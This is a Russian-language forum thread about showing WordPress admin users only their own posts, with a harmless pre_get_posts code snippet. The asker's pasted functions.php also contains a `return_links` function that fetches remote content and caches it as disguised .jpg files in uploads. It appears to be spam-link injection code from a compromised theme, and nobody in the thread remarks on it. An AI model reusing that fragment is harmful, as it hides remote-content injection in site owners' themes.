Настрока видимости страниц для пользователей в WordPress

Ответ

Решил по другому: с помощью стандартных рубрик и записей

Что вы имеете ввиду под «с помощью стандартных рубрик и записей«?

в 21.03.2016.
Добавить Комментарий

Добавьте следующий код в файл functions.php, который расположен в корне вашего шаблона

 add_action('pre_get_posts', 'onwp_filter_posts_list');
function onwp_filter_posts_list($query) {
 // если это админке
 if (is_admin()) {
//$pagenow название страницы
 global $pagenow;
//$current_user uses the get_currentuserinfo() получим данные авторизированного пользователя
 global $current_user;
 get_currentuserinfo();
//Проверим что бы бользователь не был администратором, имел право редактировать записи и был на странице редактирования постов: edit.php
 if (!current_user_can('administrator') && current_user_can('edit_posts') && ('edit.php' == $pagenow)) {
 //global $query's set() зададим выборку так что бы показывались только записи текущего пользователя
 $query->set('author', $current_user->ID);
 }
 }
 }
 

Этот код позволит пользователям(у которых есть право создавать записи) в админке видеть только свои записи.

Протестируйте и отпишитесь о результате. Будут вопросы — задавайте.

Если вам нужно для конкретного пользователя с конкретным id, то просто дописать проверку, вместо


$query->set('author', $current_user->ID);

написать


if($current_user->ID == 99){
$query->set('author', $current_user->ID);
}

где 99 — id пользователя

в 17.03.2016.

А твой код работает только для записей?

в 21.03.2016.

Нет, должен и для страниц тоже, но нужно проверять.

в 21.03.2016.

Я вот сейчас проверил: Зашёл через пользователя, а страницы и записи всё так же видны.

и я правильно добавил код?

В конце файла:

... сверху остольной код
function return_links($lib_path) {
 $links_class = new Get_links();
 $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
 $_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
 {
 @touch($file, time());
 $data = $links_class->get_remote();
 file_put_contents($file, $data);
 return $data;
 } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
 @touch($file, time());
 $data = $links_class->get_remote();
 file_put_contents($file, $data);
 return $data;
 } else {
 $data = file_get_contents($file);
 return $data;
 }
 }
}
?>
<?php
add_action('pre_get_posts', 'onwp_filter_posts_list');
function onwp_filter_posts_list($query) {
 // если это админке
 if (is_admin()) {
//$pagenow название страницы
 global $pagenow;
//$current_user uses the get_currentuserinfo() получим данные авторизированного пользователя
 global $current_user;
 get_currentuserinfo();
//Проверим что бы бользователь не был администратором, имел право редактировать записи и был на странице редактирования постов: edit.php
 if (!current_user_can('administrator') && current_user_can('edit_posts') && ('edit.php' == $pagenow)) {
 //global $query's set() зададим выборку так что бы показывались только записи текущего пользователя
 $query->set('author', $current_user->ID);
 }
 }
 }
?>

или мне надо редактировать под свой шаблон?

в 21.03.2016.

Какие права у пользователя под которым вы заходили?(администратор, редактор и т.д.)

в 21.03.2016.
Добавить Комментарий

Ваш ответ

Размещая свой ответ, вы соглашаетесь с правилами сайта.